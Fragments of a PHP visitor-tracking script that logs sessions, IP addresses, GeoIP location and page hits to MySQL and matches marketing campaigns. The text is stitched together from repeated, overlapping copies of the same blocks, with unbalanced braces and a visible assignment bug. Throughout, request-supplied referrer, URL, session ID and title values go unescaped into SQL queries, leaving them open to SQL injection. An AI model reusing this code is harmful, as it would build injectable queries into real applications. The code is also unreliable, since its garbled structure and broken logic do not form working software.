// If this is a new session, generate a unique ID for it, and store it in // the database if ($sessionId == '') { $sessionId = uniqid("", true);
// Bind the session ID to the user's IP address mysql_query( <<<EOQ INSERT INTO `sessions`( SessionID, IPAddress, SessionStartTime, ReferringURL, DomainID, ScreenWidth, ScreenHeight, ScreenDepth, UserAgent ) VALUES( '$sessionId', '$ip', UNIX_TIMESTAMP(), '$in_referrer', '$domainId', '$in_screenWidth', '$in_screenHeight', '$in_screenDepth', '$userAgent' ) EOQ );
// If necessary, store the user agent information in the 'user_agent_data' // table. $ua = get_browser($userAgent); $browserName = mysql_escape_string($ua->browser); $browserVersion = mysql_escape_string($ua->version); $platform = mysql_escape_string($ua->platform);
// Check if the parameter to check exists and then // check if it is equal to the defined value if (isset($parameters[$campaign->ParameterToCheck])) { if ($parameters[$campaign->ParameterToCheck] == $campaign->ValueToCheck) { $matched = true; } }
// If we matched, add the campaign ID to the campaign list if ($matched) { echo "//Matched\n"; $matchedCampaigns[] = $campaign->ID; } } else if ($campaign->IdentifierType == 'URL') { // Are we checking the current or referring URL? If not, this // campaign will need to be handled by the "leave.php" script! if ($campaign->TriggerType == 'CurrentPage') { $urlToCheck = $currentUrl; } else if ($campaign->TriggerType == 'CameFrom') { $urlToCheck = $in_referrer; } else { continue; }
// XXXX: This is not the correct way to handle this -- need to add multiple // campaign support to the database! echo "//BLVDC: $in_blvdC\n\n"; if ($in_blvdC == 0 && count($matchedCampaigns) > 0) { $in_blvdC = $matchedCampaigns[0]; }
// Store this page hit mysql_query( <<<EOQ INSERT INTO navigation( `CameFrom`, `ReferrerDomain`, `CurrentPage`, `CurrentPageTitle`, `ArrivalTime`, `SessionID`, `CurrentPageCampaignID`, `DomainID`, `ArrivalYear`, `ArrivalMonth`, `ArrivalDay`, `ArrivalHour`, `ArrivalWeekOfYear` ) VALUES( '$in_referrer', DomainNameFromURL('$in_referrer'), '$currentUrl', '$in_title', UNIX_TIMESTAMP(), '$sessionId', '$in_blvdC', (SELECT `ID` from `domains` d where d.`DomainName` = DomainNameFromURL('$currentUrl')), YEAR(FROM_UNIXTIME(UNIX_TIMESTAMP())), MONTH(FROM_UNIXTIME(UNIX_TIMESTAMP())), DAY(FROM_UNIXTIME(UNIX_TIMESTAMP())), HOUR(FROM_UNIXTIME(UNIX_TIMESTAMP())), WEEK(FROM_UNIXTIME(UNIX_TIMESTAMP()), 6) ) EOQ );
if ($in_blvdC > 0) { mysql_query( <<<EOQ INSERT INTO session_campaigns(SessionID, CampaignID, TimeOfConversion) VALUES('$sessionId', '$in_blvdC', UNIX_TIMESTAMP()) EOQ ); }
// Get the ID of the newly generated navigation row $navigationId = mysql_insert_id();
// Process search engine information findSearchEngineData($in_referrer, $navigationId);
// Tracking flags are blank for this script right now $trackingFlags = 0;
// Query the referrer URL (which in this case is the current page // on the client's site) and visitor's IP address if (isset($_SERVER['HTTP_REFERER'])) { $currentUrl = $_SERVER['HTTP_REFERER']; } else { $currentUrl = ''; }
$ip = $_SERVER['REMOTE_ADDR'];
// Title of the page if (!isset($in_title)) { $in_title = ''; }
// blvdC - Campaign ID, if any if (!isset($in_blvdC)) { $in_blvdC = 0; }
// If we have received a session id, maintain it, otherwise // generate a new one if (isset($in_blvdSessionId)) { $sessionId = $in_blvdSessionId; } else { $sessionId = ''; }
echo "//Sess set.\n";
// Convert the domain name into a domain ID // (If this fails, the domain ID will remain set to 0) $domainId = 0;
$domainIdResults = $dbConnection->query( "SELECT ConvertDomainNameToDomainID(DomainNameFromURL('$currentUrl')) AS `ID`" );
// Tread carefully here, so errors don't break tracking! if ($dbConnection->errno == 0) { $domainIdData = $domainIdResults->fetch_object(); if ($domainIdData) { $domainId = $domainIdData->ID; } }
// If this is a new session, generate a unique ID for it, and store it in // the database if ($sessionId == '') { $sessionId = uniqid("", true);
// Purge any extraneous result sets while ($dbConnection->next_result());
echo "//Geo: " . $dbConnection->error . "\n";
// Bind the session ID to the user's IP address $dbConnection->query( <<<EOQ INSERT INTO `sessions`( SessionID, IPAddress, SessionStartTime, ReferringURL, DomainID, ScreenWidth, ScreenHeight, ScreenDepth, UserAgent, GeoIPCountryCode, GeoIPRegion, GeoIPCity, GeoIPPostalCode, GeoIPLatitude, GeoIPLongitude, GeoIPDMACode, GeoIPAreaCode, GeoIPISP ) VALUES( '$sessionId', '$ip', UNIX_TIMESTAMP(), '$in_referrer', '$domainId', '$in_screenWidth', '$in_screenHeight', '$in_screenDepth', '$userAgent', '$geoData->CountryCode', '$geoData->Region', '$geoData->City', '$geoData->PostalCode', '$geoData->Latitude', '$geoData->Longitude', '$geoData->DMACode', '$geoData->AreaCode', '$geoData->ISP' ) EOQ );
echo "//Sess: " . $dbConnection->error . "\n";
// If necessary, store the user agent information in the 'user_agent_data' // table. $ua = get_browser($userAgent); $browserName = $dbConnection->escape_string($ua->browser); $browserVersion = $dbConnection->escape_string($ua->version); $platform = $dbConnection->escape_string($ua->platform);
// ********************************* // Process campaigns for this domain // *********************************
$matchedCampaigns = array();
echo "//D: $domainId\n";
// Retrieve all of the campaigns if ($domainId > 0) { $campaignResults = $dbConnection->query( "SELECT * FROM `campaigns` WHERE `Active` = 1 AND `DomainID` = '$domainId'" );
// Check if the parameter to check exists and then // check if it is equal to the defined value if (isset($parameters[$campaign->ParameterToCheck])) { if ($parameters[$campaign->ParameterToCheck] == $campaign->ValueToCheck) { $matched = true; } }
// If we matched, add the campaign ID to the campaign list if ($matched) { echo "//Matched\n"; $matchedCampaigns[] = $campaign->ID; } } else if ($campaign->IdentifierType == 'URL') { // Are we checking the current or referring URL? If not, this // campaign will need to be handled by the "leave.php" script! if ($campaign->TriggerType == 'CurrentPage') { $urlToCheck = $currentUrl; } else if ($campaign->TriggerType == 'CameFrom') { $urlToCheck = $in_referrer; } else { continue; }
// XXXX: This is not the correct way to handle this -- need to add multiple // campaign support to the database! echo "//BLVDC: $in_blvdC\n\n"; if ($in_blvdC == 0 && count($matchedCampaigns) > 0) { $in_blvdC = $matchedCampaigns[0]; }
// Look for the previous hit for this session $lastNavigationResults = $dbConnection->query( <<<EOQ SELECT * FROM `navigation` n WHERE n.`SessionID` = '$sessionId' ORDER BY n.`ID` DESC LIMIT 1 EOQ );
$lastNavigationItem = $lastNavigationResults->fetch_object(); if ($lastNavigationItem) { if ((int)$lastNavigationItem->DepartureTime == 0) { // Use the arrival time for this page as the departure time for the // previous navigation item (this is not exact, but it is a good // guess). $dbConnection->query( "UPDATE `navigation` " . "SET `DepartureTime` = UNIX_TIMESTAMP() " . "WHERE `ID` = '$lastNavigationItem->ID'" ); echo "//LNI + DT: " . $dbConnection->error . " \n"; } }
// Store this page hit $dbConnection->query( <<<EOQ INSERT INTO navigation( `CameFrom`, `ReferrerDomain`, `CurrentPage`, `CurrentPageTitle`, `ArrivalTime`, `SessionID`, `CurrentPageCampaignID`, `DomainID`, `ArrivalYear`, `ArrivalMonth`, `ArrivalDay`, `ArrivalHour`, `ArrivalWeekOfYear` ) VALUES( '$in_referrer', DomainNameFromURL('$in_referrer'), '$currentUrl', '$in_title', UNIX_TIMESTAMP(), '$sessionId', '$in_blvdC', (SELECT `ID` from `domains` d where d.`DomainName` = DomainNameFromURL('$currentUrl')), YEAR(FROM_UNIXTIME(UNIX_TIMESTAMP())), MONTH(FROM_UNIXTIME(UNIX_TIMESTAMP())), DAY(FROM_UNIXTIME(UNIX_TIMESTAMP())), HOUR(FROM_UNIXTIME(UNIX_TIMESTAMP())), WEEK(FROM_UNIXTIME(UNIX_TIMESTAMP()), 6) ) EOQ );
// Get the ID of the newly generated navigation row $navigationId = $dbConnection->insert_id; //echo "//NID: $navigationId\n";
// Store campaign information for the session, if applicable if ($in_blvdC > 0) { $dbConnection->query( <<<EOQ INSERT INTO session_campaigns(SessionID, NavigationID, CampaignID, TimeOfConversion) VALUES('$sessionId', '$navigationId', '$in_blvdC', UNIX_TIMESTAMP()) EOQ ); }
// Process search engine information findSearchEngineData($dbConnection, $in_referrer, $navigationId);
// Tracking flags are blank for this script right now $trackingFlags = 0;
// Query the referrer URL (which in this case is the current page // on the client's site) and visitor's IP address if (isset($_SERVER['HTTP_REFERER'])) { $currentUrl = $_SERVER['HTTP_REFERER']; } else { $currentUrl = ''; }
// Get a version of the URL with no query string if (strpos($currentUrl, '?') !== false) { $currentUrlNoQuery = substr($currentUrl, 0, strpos($currentUrl, '?')); } else { $currentUrlNoQuery = $currentUrl; }
// If we have received a session id, maintain it, otherwise // generate a new one if (isset($in_blvdSessionId)) { $sessionId = $in_blvdSessionId; } else { $sessionId = ''; }
echo "//Sess set.\n";
// Convert the domain name into a domain ID // (If this fails, the domain ID will remain set to 0) $domainId = 0;
$domainIdResults = $dbConnection->query( "SELECT ConvertDomainNameToDomainID(DomainNameFromURL('$currentUrl')) AS `ID`" );
// Tread carefully here, so errors don't break tracking! if ($dbConnection->errno == 0) { $domainIdData = $domainIdResults->fetch_object(); if ($domainIdData) { $domainId = $domainIdData->ID; } }
// If this is a new session, generate a unique ID for it, and store it in // the database if ($sessionId == '') { $sessionId = uniqid("", true);
// Query GeoIP data for the user's IP Address $geoRecord = geoip_record_by_name($ip);
// Bind the session ID to the user's IP address $dbConnection->query( <<<EOQ INSERT INTO `sessions`( SessionID, IPAddress, SessionStartTime, ReferringURL, DomainID, ScreenWidth, ScreenHeight, ScreenDepth, UserAgent, GeoIPCountryCode, GeoIPRegion, GeoIPCity, GeoIPPostalCode, GeoIPLatitude, GeoIPLongitude, GeoIPDMACode, GeoIPAreaCode, GeoIPISP ) VALUES( '$sessionId', '$ip', UNIX_TIMESTAMP(), '$in_referrer', '$domainId', '$in_screenWidth', '$in_screenHeight', '$in_screenDepth', '$userAgent', '$geoData->CountryCode', '$geoData->Region', '$geoData->City', '$geoData->PostalCode', '$geoData->Latitude', '$geoData->Longitude', '$geoData->DMACode', '$geoData->AreaCode', '$geoData->ISP' ) EOQ );
echo "//Sess: " . $dbConnection->error . "\n";
// If necessary, store the user agent information in the 'user_agent_data' // table. $ua = get_browser($userAgent); $browserName = $dbConnection->escape_string($ua->browser); $browserVersion = $dbConnection->escape_string($ua->version); $platform = $dbConnection->escape_string($ua->platform);
// ********************************* // Process campaigns for this domain // *********************************
$matchedCampaigns = array();
echo "//D: $domainId\n";
// Retrieve all of the campaigns if ($domainId > 0) { $campaignResults = $dbConnection->query( "SELECT * FROM `campaigns` WHERE `Active` = 1 AND `DomainID` = '$domainId'" );
// Check if the parameter to check exists and then // check if it is equal to the defined value if (isset($parameters[$campaign->ParameterToCheck])) { if ($parameters[$campaign->ParameterToCheck] == $campaign->ValueToCheck) { $matched = true; } }
// If we matched, add the campaign ID to the campaign list if ($matched) { echo "//Matched\n"; $matchedCampaigns[] = $campaign->ID; } } else if ($campaign->IdentifierType == 'URL') { // Are we checking the current or referring URL? If not, this // campaign will need to be handled by the "leave.php" script! if ($campaign->TriggerType == 'CurrentPage') { $urlToCheck = $currentUrl; $urlToCheckNoQuery = $currentUrlNoQuery; } else if ($campaign->TriggerType == 'CameFrom') { $urlToCheck = $in_referrer; $urlToCheck = $in_referrerNoQuery; } else { continue; }
if ($campaign->IgnoreQueryString == '1') { if ($urlToCheckNoQuery == $campaign->URL) { $matchedCampaigns[] = $campaign->ID; } } else { if ($urlToCheck == $campaign->URL) { $matchedCampaigns[] = $campaign->ID; } } } } }
// XXXX: This is not the correct way to handle this -- need to add multiple // campaign support to the database! echo "//BLVDC: $in_blvdC\n\n"; if ($in_blvdC == 0 && count($matchedCampaigns) > 0) { $in_blvdC = $matchedCampaigns[0]; }
// Look for the previous hit for this session $lastNavigationResults = $dbConnection->query( <<<EOQ SELECT * FROM `navigation` n WHERE n.`SessionID` = '$sessionId' ORDER BY n.`ID` DESC LIMIT 1 EOQ );
$lastNavigationItem = $lastNavigationResults->fetch_object(); if ($lastNavigationItem) { if ((int)$lastNavigationItem->DepartureTime == 0) { // Use the arrival time for this page as the departure time for the // previous navigation item (this is not exact, but it is a good // guess). $dbConnection->query( "UPDATE `navigation` " . "SET `DepartureTime` = UNIX_TIMESTAMP() " . "WHERE `ID` = '$lastNavigationItem->ID'" ); echo "//LNI + DT: " . $dbConnection->error . " \n"; } }
// Store this page hit $safeTitle = $dbConnection->escape_string($in_title); $safeCurrentUrl = $dbConnection->escape_string($currentUrl); $safeReferrer = $dbConnection->escape_string($in_referrer);
// Get the ID of the newly generated navigation row $navigationId = $dbConnection->insert_id; //echo "//NID: $navigationId\n";
// Store campaign information for the session, if applicable if ($in_blvdC > 0) { $dbConnection->query( <<<EOQ INSERT INTO session_campaigns(SessionID, NavigationID, CampaignID, TimeOfConversion) VALUES('$sessionId', '$navigationId', '$in_blvdC', UNIX_TIMESTAMP()) EOQ ); }
// Process search engine information findSearchEngineData($dbConnection, $in_referrer, $navigationId);
// Tracking flags are blank for this script right now $trackingFlags = 0;
// Query the referrer URL (which in this case is the current page // on the client's site) and visitor's IP address if (isset($_SERVER['HTTP_REFERER'])) { $currentUrl = $_SERVER['HTTP_REFERER']; } else { $currentUrl = ''; }
$ip = $_SERVER['REMOTE_ADDR'];
// Title of the page if (!isset($in_title)) { $in_title = ''; }
// blvdC - Campaign ID, if any if (!isset($in_blvdC)) { $in_blvdC = 0; }
// If we have received a session id, maintain it, otherwise // generate a new one if (isset($in_blvdSessionId)) { $sessionId = $in_blvdSessionId; } else { $sessionId = ''; }
echo "//Sess set.\n";
// Convert the domain name into a domain ID // (If this fails, the domain ID will remain set to 0) $domainId = 0;
$domainIdResults = $dbConnection->query( "SELECT ConvertDomainNameToDomainID(DomainNameFromURL('$currentUrl')) AS `ID`" );
// Tread carefully here, so errors don't break tracking! if ($dbConnection->errno == 0) { $domainIdData = $domainIdResults->fetch_object(); if ($domainIdData) { $domainId = $domainIdData->ID; } }
// If this is a new session, generate a unique ID for it, and store it in // the database if ($sessionId == '') { $sessionId = uniqid("", true);
// Query GeoIP data for the user's IP Address $geoResultCollection = $dbConnection->multi_query("CALL LookupGeoIPData('$ip')"); $geoResults = $dbConnection->store_result(); $geoData = $geoResults->fetch_object();
echo "//GDA\n";
// Purge any extraneous result sets while ($dbConnection->next_result());
echo "//Geo: " . $dbConnection->error . "\n";
// Bind the session ID to the user's IP address $dbConnection->query( <<<EOQ INSERT INTO `sessions`( SessionID, IPAddress, SessionStartTime, ReferringURL, DomainID, ScreenWidth, ScreenHeight, ScreenDepth, UserAgent, GeoIPCountryCode, GeoIPRegion, GeoIPCity, GeoIPPostalCode, GeoIPLatitude, GeoIPLongitude, GeoIPDMACode, GeoIPAreaCode, GeoIPISP ) VALUES( '$sessionId', '$ip', UNIX_TIMESTAMP(), '$in_referrer', '$domainId', '$in_screenWidth', '$in_screenHeight', '$in_screenDepth', '$userAgent', '$geoData->CountryCode', '$geoData->Region', '$geoData->City', '$geoData->PostalCode', '$geoData->Latitude', '$geoData->Longitude', '$geoData->DMACode', '$geoData->AreaCode', '$geoData->ISP' ) EOQ );
echo "//Sess: " . $dbConnection->error . "\n";
// If necessary, store the user agent information in the 'user_agent_data' // table. $ua = get_browser($userAgent); $browserName = $dbConnection->escape_string($ua->browser); $browserVersion = $dbConnection->escape_string($ua->version); $platform = $dbConnection->escape_string($ua->platform);
// ********************************* // Process campaigns for this domain // *********************************
$matchedCampaigns = array();
echo "//D: $domainId\n";
// Retrieve all of the campaigns if ($domainId > 0) { $campaignResults = $dbConnection->query( "SELECT * FROM `campaigns` WHERE `Active` = 1 AND `DomainID` = '$domainId'" );
// Check if the parameter to check exists and then // check if it is equal to the defined value if (isset($parameters[$campaign->ParameterToCheck])) { if ($parameters[$campaign->ParameterToCheck] == $campaign->ValueToCheck) { $matched = true; } }
// If we matched, add the campaign ID to the campaign list if ($matched) { echo "//Matched\n"; $matchedCampaigns[] = $campaign->ID; } } else if ($campaign->IdentifierType == 'URL') { // Are we checking the current or referring URL? If not, this // campaign will need to be handled by the "leave.php" script! if ($campaign->TriggerType == 'CurrentPage') { $urlToCheck = $currentUrl; } else if ($campaign->TriggerType == 'CameFrom') { $urlToCheck = $in_referrer; } else { continue; }
// XXXX: This is not the correct way to handle this -- need to add multiple // campaign support to the database! echo "//BLVDC: $in_blvdC\n\n"; if ($in_blvdC == 0 && count($matchedCampaigns) > 0) { $in_blvdC = $matchedCampaigns[0]; }
// Look for the previous hit for this session $lastNavigationResults = $dbConnection->query( <<<EOQ SELECT * FROM `navigation` n WHERE n.`SessionID` = '$sessionId' ORDER BY n.`ID` DESC LIMIT 1 EOQ );
$lastNavigationItem = $lastNavigationResults->fetch_object(); if ($lastNavigationItem) { if ((int)$lastNavigationItem->DepartureTime == 0) { // Use the arrival time for this page as the departure time for the // previous navigation item (this is not exact, but it is a good // guess). $dbConnection->query( "UPDATE `navigation` " . "SET `DepartureTime` = UNIX_TIMESTAMP() " . "WHERE `ID` = '$lastNavigationItem->ID'" ); echo "//LNI + DT: " . $dbConnection->error . " \n"; } }
// Store this page hit $dbConnection->query( <<<EOQ INSERT INTO navigation( `CameFrom`, `ReferrerDomain`, `CurrentPage`, `CurrentPageTitle`, `ArrivalTime`, `SessionID`, `CurrentPageCampaignID`, `DomainID`, `ArrivalYear`, `ArrivalMonth`, `ArrivalDay`, `ArrivalHour`, `ArrivalWeekOfYear` ) VALUES( '$in_referrer', DomainNameFromURL('$in_referrer'), '$currentUrl', '$in_title', UNIX_TIMESTAMP(), '$sessionId', '$in_blvdC', (SELECT `ID` from `domains` d where d.`DomainName` = DomainNameFromURL('$currentUrl')), YEAR(FROM_UNIXTIME(UNIX_TIMESTAMP())), MONTH(FROM_UNIXTIME(UNIX_TIMESTAMP())), DAY(FROM_UNIXTIME(UNIX_TIMESTAMP())), HOUR(FROM_UNIXTIME(UNIX_TIMESTAMP())), WEEK(FROM_UNIXTIME(UNIX_TIMESTAMP()), 6) ) EOQ );
// Get the ID of the newly generated navigation row $navigationId = $dbConnection->insert_id; //echo "//NID: $navigationId\n";
// Store campaign information for the session, if applicable if ($in_blvdC > 0) { $dbConnection->query( <<<EOQ INSERT INTO session_campaigns(SessionID, NavigationID, CampaignID, TimeOfConversion) VALUES('$sessionId', '$navigationId', '$in_blvdC', UNIX_TIMESTAMP()) EOQ ); }
// Process search engine information findSearchEngineData($dbConnection, $in_referrer, $navigationId);
// Tracking flags are blank for this script right now $trackingFlags = 0;
// Query the referrer URL (which in this case is the current page // on the client's site) and visitor's IP address if (isset($_SERVER['HTTP_REFERER'])) { $currentUrl = $_SERVER['HTTP_REFERER']; } else { $currentUrl = ''; }
// Get a version of the URL with no query string if (strpos($currentUrl, '?') !== false) { $currentUrlNoQuery = substr($currentUrl, 0, strpos($currentUrl, '?')); } else { $currentUrlNoQuery = $currentUrl; }
// If we have received a session id, maintain it, otherwise // generate a new one if (isset($in_blvdSessionId)) { $sessionId = $in_blvdSessionId; } else { $sessionId = ''; }
echo "//Sess set.\n";
// Convert the domain name into a domain ID // (If this fails, the domain ID will remain set to 0) $domainId = 0;
$domainIdResults = $dbConnection->query( "SELECT ConvertDomainNameToDomainID(DomainNameFromURL('$currentUrl')) AS `ID`" );
// Tread carefully here, so errors don't break tracking! if ($dbConnection->errno == 0) { $domainIdData = $domainIdResults->fetch_object(); if ($domainIdData) { $domainId = $domainIdData->ID; } }
// If this is a new session, generate a unique ID for it, and store it in // the database if ($sessionId == '') { $sessionId = uniqid("", true);
// Query GeoIP data for the user's IP Address $geoRecord = geoip_record_by_name($ip);
// Bind the session ID to the user's IP address $dbConnection->query( <<<EOQ INSERT INTO `sessions`( SessionID, IPAddress, SessionStartTime, ReferringURL, DomainID, ScreenWidth, ScreenHeight, ScreenDepth, UserAgent, GeoIPCountryCode, GeoIPRegion, GeoIPCity, GeoIPPostalCode, GeoIPLatitude, GeoIPLongitude, GeoIPDMACode, GeoIPAreaCode, GeoIPISP ) VALUES( '$sessionId', '$ip', UNIX_TIMESTAMP(), '$in_referrer', '$domainId', '$in_screenWidth', '$in_screenHeight', '$in_screenDepth', '$userAgent', '$geoData->CountryCode', '$geoData->Region', '$geoData->City', '$geoData->PostalCode', '$geoData->Latitude', '$geoData->Longitude', '$geoData->DMACode', '$geoData->AreaCode', '$geoData->ISP' ) EOQ );
echo "//Sess: " . $dbConnection->error . "\n";
// If necessary, store the user agent information in the 'user_agent_data' // table. $ua = get_browser($userAgent); $browserName = $dbConnection->escape_string($ua->browser); $browserVersion = $dbConnection->escape_string($ua->version); $platform = $dbConnection->escape_string($ua->platform);
// ********************************* // Process campaigns for this domain // *********************************
$matchedCampaigns = array();
echo "//D: $domainId\n";
// Retrieve all of the campaigns if ($domainId > 0) { $campaignResults = $dbConnection->query( "SELECT * FROM `campaigns` WHERE `Active` = 1 AND `DomainID` = '$domainId'" );
// Check if the parameter to check exists and then // check if it is equal to the defined value if (isset($parameters[$campaign->ParameterToCheck])) { if ($parameters[$campaign->ParameterToCheck] == $campaign->ValueToCheck) { $matched = true; } }
// If we matched, add the campaign ID to the campaign list if ($matched) { echo "//Matched\n"; $matchedCampaigns[] = $campaign->ID; } } else if ($campaign->IdentifierType == 'URL') { // Are we checking the current or referring URL? If not, this // campaign will need to be handled by the "leave.php" script! if ($campaign->TriggerType == 'CurrentPage') { $urlToCheck = $currentUrl; $urlToCheckNoQuery = $currentUrlNoQuery; } else if ($campaign->TriggerType == 'CameFrom') { $urlToCheck = $in_referrer; $urlToCheck = $in_referrerNoQuery; } else { continue; }
if ($campaign->IgnoreQueryString == '1') { if ($urlToCheckNoQuery == $campaign->URL) { $matchedCampaigns[] = $campaign->ID; } } else { if ($urlToCheck == $campaign->URL) { $matchedCampaigns[] = $campaign->ID; } } } } }
// XXXX: This is not the correct way to handle this -- need to add multiple // campaign support to the database! echo "//BLVDC: $in_blvdC\n\n"; if ($in_blvdC == 0 && count($matchedCampaigns) > 0) { $in_blvdC = $matchedCampaigns[0]; }
// Look for the previous hit for this session $lastNavigationResults = $dbConnection->query( <<<EOQ SELECT * FROM `navigation` n WHERE n.`SessionID` = '$sessionId' ORDER BY n.`ID` DESC LIMIT 1 EOQ );
$lastNavigationItem = $lastNavigationResults->fetch_object(); if ($lastNavigationItem) { if ((int)$lastNavigationItem->DepartureTime == 0) { // Use the arrival time for this page as the departure time for the // previous navigation item (this is not exact, but it is a good // guess). $dbConnection->query( "UPDATE `navigation` " . "SET `DepartureTime` = UNIX_TIMESTAMP() " . "WHERE `ID` = '$lastNavigationItem->ID'" ); echo "//LNI + DT: " . $dbConnection->error . " \n"; } }
// Store this page hit $safeTitle = $dbConnection->escape_string($in_title); $safeCurrentUrl = $dbConnection->escape_string($currentUrl); $safeReferrer = $dbConnection->escape_string($in_referrer);
// Get the ID of the newly generated navigation row $navigationId = $dbConnection->insert_id; //echo "//NID: $navigationId\n";
// Store campaign information for the session, if applicable if ($in_blvdC > 0) { $dbConnection->query( <<<EOQ INSERT INTO session_campaigns(SessionID, NavigationID, CampaignID, TimeOfConversion) VALUES('$sessionId', '$navigationId', '$in_blvdC', UNIX_TIMESTAMP()) EOQ ); }
// Process search engine information findSearchEngineData($dbConnection, $in_referrer, $navigationId);
// Tracking flags are blank for this script right now $trackingFlags = 0;
// Query the referrer URL (which in this case is the current page // on the client's site) and visitor's IP address if (isset($_SERVER['HTTP_REFERER'])) { $currentUrl = $_SERVER['HTTP_REFERER']; } else { $currentUrl = ''; }
// Get a version of the URL with no query string if (strpos($currentUrl, '?') !== false) { $currentUrlNoQuery = substr($currentUrl, 0, strpos($currentUrl, '?')); } else { $currentUrlNoQuery = $currentUrl; }
// If we have received a session id, maintain it, otherwise // generate a new one if (isset($in_blvdSessionId)) { $sessionId = $in_blvdSessionId; } else { $sessionId = ''; }
echo "//Sess set.\n";
// Convert the domain name into a domain ID // (If this fails, the domain ID will remain set to 0) $domainId = 0;
$domainIdResults = $dbConnection->query( "SELECT ConvertDomainNameToDomainID(DomainNameFromURL('$currentUrl')) AS `ID`" );
// Tread carefully here, so errors don't break tracking! if ($dbConnection->errno == 0) { $domainIdData = $domainIdResults->fetch_object(); if ($domainIdData) { $domainId = $domainIdData->ID; } }
// If this is a new session, generate a unique ID for it, and store it in // the database if ($sessionId == '') { $sessionId = uniqid("", true);
// Query GeoIP data for the user's IP Address $geoRecord = geoip_record_by_name($ip);
// Bind the session ID to the user's IP address $dbConnection->query( <<<EOQ INSERT INTO `sessions`( SessionID, IPAddress, SessionStartTime, ReferringURL, DomainID, ScreenWidth, ScreenHeight, ScreenDepth, UserAgent, GeoIPCountryCode, GeoIPRegion, GeoIPCity, GeoIPPostalCode, GeoIPLatitude, GeoIPLongitude, GeoIPDMACode, GeoIPAreaCode, GeoIPISP ) VALUES( '$sessionId', '$ip', UNIX_TIMESTAMP(), '$in_referrer', '$domainId', '$in_screenWidth', '$in_screenHeight', '$in_screenDepth', '$userAgent', '$geoData->CountryCode', '$geoData->Region', '$geoData->City', '$geoData->PostalCode', '$geoData->Latitude', '$geoData->Longitude', '$geoData->DMACode', '$geoData->AreaCode', '$geoData->ISP' ) EOQ );
echo "//Sess: " . $dbConnection->error . "\n";
// If necessary, store the user agent information in the 'user_agent_data' // table. $ua = get_browser($userAgent); $browserName = $dbConnection->escape_string($ua->browser); $browserVersion = $dbConnection->escape_string($ua->version); $platform = $dbConnection->escape_string($ua->platform);
// ********************************* // Process campaigns for this domain // *********************************
$matchedCampaigns = array();
echo "//D: $domainId\n";
// Retrieve all of the campaigns if ($domainId > 0) { $campaignResults = $dbConnection->query( "SELECT * FROM `campaigns` WHERE `Active` = 1 AND `DomainID` = '$domainId'" );
// Check if the parameter to check exists and then // check if it is equal to the defined value if (isset($parameters[$campaign->ParameterToCheck])) { if ($parameters[$campaign->ParameterToCheck] == $campaign->ValueToCheck) { $matched = true; } }
// If we matched, add the campaign ID to the campaign list if ($matched) { echo "//Matched\n"; $matchedCampaigns[] = $campaign->ID; } } else if ($campaign->IdentifierType == 'URL') { // Are we checking the current or referring URL? If not, this // campaign will need to be handled by the "leave.php" script! if ($campaign->TriggerType == 'CurrentPage') { $urlToCheck = $currentUrl; $urlToCheckNoQuery = $currentUrlNoQuery; } else if ($campaign->TriggerType == 'CameFrom') { $urlToCheck = $in_referrer; $urlToCheck = $in_referrerNoQuery; } else { continue; }
if ($campaign->IgnoreQueryString == '1') { if ($urlToCheckNoQuery == $campaign->URL) { $matchedCampaigns[] = $campaign->ID; } } else { if ($urlToCheck == $campaign->URL) { $matchedCampaigns[] = $campaign->ID; } } } } }
// XXXX: This is not the correct way to handle this -- need to add multiple // campaign support to the database! echo "//BLVDC: $in_blvdC\n\n"; if ($in_blvdC == 0 && count($matchedCampaigns) > 0) { $in_blvdC = $matchedCampaigns[0]; }
// Look for the previous hit for this session $lastNavigationResults = $dbConnection->query( <<<EOQ SELECT * FROM `navigation` n WHERE n.`SessionID` = '$sessionId' ORDER BY n.`ID` DESC LIMIT 1 EOQ );
$lastNavigationItem = $lastNavigationResults->fetch_object(); if ($lastNavigationItem) { if ((int)$lastNavigationItem->DepartureTime == 0) { // Use the arrival time for this page as the departure time for the // previous navigation item (this is not exact, but it is a good // guess). $dbConnection->query( "UPDATE `navigation` " . "SET `DepartureTime` = UNIX_TIMESTAMP() " . "WHERE `ID` = '$lastNavigationItem->ID'" ); echo "//LNI + DT: " . $dbConnection->error . " \n"; } }
// Get the ID of the newly generated navigation row $navigationId = $dbConnection->insert_id; //echo "//NID: $navigationId\n";
// Store campaign information for the session, if applicable if ($in_blvdC > 0) { $dbConnection->query( <<<EOQ INSERT INTO session_campaigns(SessionID, NavigationID, CampaignID, TimeOfConversion) VALUES('$sessionId', '$navigationId', '$in_blvdC', UNIX_TIMESTAMP()) EOQ ); }
// Process search engine information findSearchEngineData($dbConnection, $in_referrer, $navigationId);
// Tracking flags are blank for this script right now $trackingFlags = 0;
// Query the referrer URL (which in this case is the current page // on the client's site) and visitor's IP address if (isset($_SERVER['HTTP_REFERER'])) { $currentUrl = $_SERVER['HTTP_REFERER']; } else { $currentUrl = ''; }
// Get a version of the URL with no query string if (strpos($currentUrl, '?') !== false) { $currentUrlNoQuery = substr($currentUrl, 0, strpos($currentUrl, '?')); } else { $currentUrlNoQuery = $currentUrl; }
// If we have received a session id, maintain it, otherwise // generate a new one if (isset($in_blvdSessionId)) { $sessionId = $in_blvdSessionId; } else { $sessionId = ''; }
echo "//Sess set.\n";
// Convert the domain name into a domain ID // (If this fails, the domain ID will remain set to 0) $domainId = 0;
$domainIdResults = $dbConnection->query( "SELECT ConvertDomainNameToDomainID(DomainNameFromURL('$currentUrl')) AS `ID`" );
// Tread carefully here, so errors don't break tracking! if ($dbConnection->errno == 0) { $domainIdData = $domainIdResults->fetch_object(); if ($domainIdData) { $domainId = $domainIdData->ID; } }
// If this is a new session, generate a unique ID for it, and store it in // the database if ($sessionId == '') { $sessionId = uniqid("", true);
// Purge any extraneous result sets while ($dbConnection->next_result());
echo "//Geo: " . $dbConnection->error . "\n";
// Bind the session ID to the user's IP address $dbConnection->query( <<<EOQ INSERT INTO `sessions`( SessionID, IPAddress, SessionStartTime, ReferringURL, DomainID, ScreenWidth, ScreenHeight, ScreenDepth, UserAgent, GeoIPCountryCode, GeoIPRegion, GeoIPCity, GeoIPPostalCode, GeoIPLatitude, GeoIPLongitude, GeoIPDMACode, GeoIPAreaCode, GeoIPISP ) VALUES( '$sessionId', '$ip', UNIX_TIMESTAMP(), '$in_referrer', '$domainId', '$in_screenWidth', '$in_screenHeight', '$in_screenDepth', '$userAgent', '$geoData->CountryCode', '$geoData->Region', '$geoData->City', '$geoData->PostalCode', '$geoData->Latitude', '$geoData->Longitude', '$geoData->DMACode', '$geoData->AreaCode', '$geoData->ISP' ) EOQ );
echo "//Sess: " . $dbConnection->error . "\n";
